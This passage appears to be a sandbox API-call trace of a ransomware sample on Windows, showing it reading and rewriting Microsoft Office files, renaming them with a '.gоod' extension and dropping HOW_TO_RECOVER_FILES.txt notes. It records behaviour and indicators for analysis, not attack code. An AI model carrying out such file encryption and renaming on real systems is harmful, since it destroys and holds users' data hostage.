0x2c00 [0248.710] WriteFile (in: hFile=0x824, lpBuffer=0x38eb4b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x38eb4b0*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0248.711] CloseHandle (hObject=0x824) returned 1 [0248.711] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM", lpFilePart=0x0) returned 0x40 [0248.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0248.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlmacro.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0248.711] GetFileType (hFile=0x824) returned 0x1 [0248.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0248.711] GetFileType (hFile=0x824) returned 0x1 [0248.711] ReadFile (in: hFile=0x824, lpBuffer=0x38ed780, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x38ed780*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0250.341] CloseHandle (hObject=0x824) returned 1 [0250.341] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM", lpFilePart=0x0) returned 0x40 [0250.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0250.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlmacro.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0250.341] GetFileType (hFile=0x824) returned 0x1 [0250.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0250.341] GetFileType (hFile=0x824) returned 0x1 [0250.341] WriteFile (in: hFile=0x824, lpBuffer=0x371adf8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x371adf8*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0250.341] CloseHandle (hObject=0x824) returned 1 [0250.341] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM", lpFilePart=0x0) returned 0x40 [0250.341] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM.gоod", lpFilePart=0x0) returned 0x45 [0250.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0250.341] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlmacro.chm"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf2ed8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf2ed8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x916deed2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2c10)) returned 1 [0250.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0250.342] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlmacro.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlmacro.chm.gоod")) returned 1 [0250.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0250.343] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography", lpFilePart=0x0) returned 0x41 [0250.343] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0250.344] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.344] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b2ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBFORM.XML", cAlternateFileName="")) returned 1 [0250.344] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0250.344] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0250.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0250.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0250.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0250.344] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography", lpFilePart=0x0) returned 0x41 [0250.344] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0250.345] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.345] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b2ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBFORM.XML", cAlternateFileName="")) returned 1 [0250.345] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b2ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBFORM.XML", cAlternateFileName="")) returned 0 [0250.345] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0250.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0250.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0250.345] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\BIBFORM.XML", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\BIBFORM.XML", lpFilePart=0x0) returned 0x4d [0250.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d380) returned 1 [0250.345] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\BIBFORM.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bibliography\\bibform.xml"), fInfoLevelId=0x0, lpFileInformation=0x39de880 | out: lpFileInformation=0x39de880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b2ce)) returned 1 [0250.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d340) returned 1 [0250.346] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\BIBFORM.XML", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\BIBFORM.XML", lpFilePart=0x0) returned 0x4d [0250.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0250.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\BIBFORM.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bibliography\\bibform.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0250.347] GetFileType (hFile=0x824) returned 0x1 [0250.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0250.347] GetFileType (hFile=0x824) returned 0x1 [0250.347] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1000 [0250.347] ReadFile (in: hFile=0x824, lpBuffer=0x39df048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d3a8, lpOverlapped=0x0 | out: lpBuffer=0x39df048*, lpNumberOfBytesRead=0x1f59d3a8*=0x1000, lpOverlapped=0x0) returned 1 [0250.348] CloseHandle (hObject=0x824) returned 1 [0250.348] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\BIBFORM.XML", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\BIBFORM.XML", lpFilePart=0x0) returned 0x4d [0250.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0250.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\BIBFORM.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bibliography\\bibform.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0250.348] GetFileType (hFile=0x824) returned 0x1 [0250.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0250.348] GetFileType (hFile=0x824) returned 0x1 [0250.348] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1b2ce [0250.348] WriteFile (in: hFile=0x824, lpBuffer=0x39e06d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59d2c8, lpOverlapped=0x0 | out: lpBuffer=0x39e06d8*, lpNumberOfBytesWritten=0x1f59d2c8*=0x10, lpOverlapped=0x0) returned 1 [0250.349] CloseHandle (hObject=0x824) returned 1 [0250.349] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\BIBFORM.XML", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\BIBFORM.XML", lpFilePart=0x0) returned 0x4d [0250.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0250.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\BIBFORM.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bibliography\\bibform.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0250.349] GetFileType (hFile=0x824) returned 0x1 [0250.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0250.349] GetFileType (hFile=0x824) returned 0x1 [0250.349] ReadFile (in: hFile=0x824, lpBuffer=0x39e2b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d358, lpOverlapped=0x0 | out: lpBuffer=0x39e2b10*, lpNumberOfBytesRead=0x1f59d358*=0x1000, lpOverlapped=0x0) returned 1 [0250.486] CloseHandle (hObject=0x824) returned 1 [0250.486] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\BIBFORM.XML", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\BIBFORM.XML", lpFilePart=0x0) returned 0x4d [0250.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0250.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\BIBFORM.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bibliography\\bibform.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0250.486] GetFileType (hFile=0x824) returned 0x1 [0250.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0250.486] GetFileType (hFile=0x824) returned 0x1 [0250.486] WriteFile (in: hFile=0x824, lpBuffer=0x3806de0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59d408, lpOverlapped=0x0 | out: lpBuffer=0x3806de0*, lpNumberOfBytesWritten=0x1f59d408*=0x1010, lpOverlapped=0x0) returned 1 [0250.486] CloseHandle (hObject=0x824) returned 1 [0250.486] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\BIBFORM.XML", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\BIBFORM.XML", lpFilePart=0x0) returned 0x4d [0250.486] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\BIBFORM.XML.gоod", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\BIBFORM.XML.gоod", lpFilePart=0x0) returned 0x52 [0250.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d340) returned 1 [0250.487] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\BIBFORM.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bibliography\\bibform.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59d420 | out: lpFileInformation=0x1f59d420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9183640f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1b2de)) returned 1 [0250.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d300) returned 1 [0250.487] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\BIBFORM.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bibliography\\bibform.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\BIBFORM.XML.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bibliography\\bibform.xml.gоod")) returned 1 [0250.487] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59d020, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5a [0250.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d540) returned 1 [0250.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bibliography\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0250.488] GetFileType (hFile=0x824) returned 0x1 [0250.488] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4b0) returned 1 [0250.488] GetFileType (hFile=0x824) returned 0x1 [0250.489] WriteFile (in: hFile=0x824, lpBuffer=0x391f750*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59d608, lpOverlapped=0x0 | out: lpBuffer=0x391f750*, lpNumberOfBytesWritten=0x1f59d608*=0x5d0, lpOverlapped=0x0) returned 1 [0250.489] CloseHandle (hObject=0x824) returned 1 [0250.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0250.489] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices", lpFilePart=0x0) returned 0x41 [0250.489] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1697068, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x99937c0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99937c0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134afe0 [0250.491] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1697068, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x99937c0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99937c0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.491] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x996d62b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x996d62b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="+Connect to New Data Source.odc", cAlternateFileName="_CONNE~1.ODC")) returned 1 [0250.491] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x996d62b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x996d62b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99b9a24, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="+NewSQLServerConnection.odc", cAlternateFileName="_NEWSQ~1.ODC")) returned 1 [0250.491] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x996d62b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x996d62b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x996d62b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x46, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESKTOP.INI", cAlternateFileName="")) returned 1 [0250.491] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1697068, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1697068, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf16bd2da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOLDER.ICO", cAlternateFileName="")) returned 1 [0250.491] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0250.491] FindClose (in: hFindFile=0x134afe0 | out: hFindFile=0x134afe0) returned 1 [0250.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0250.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0250.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0250.492] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices", lpFilePart=0x0) returned 0x41 [0250.492] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1697068, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x99937c0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99937c0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b3a0 [0250.492] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1697068, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x99937c0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99937c0, ftLastWriteTime.dwHighDateTime=0x1d327e8, 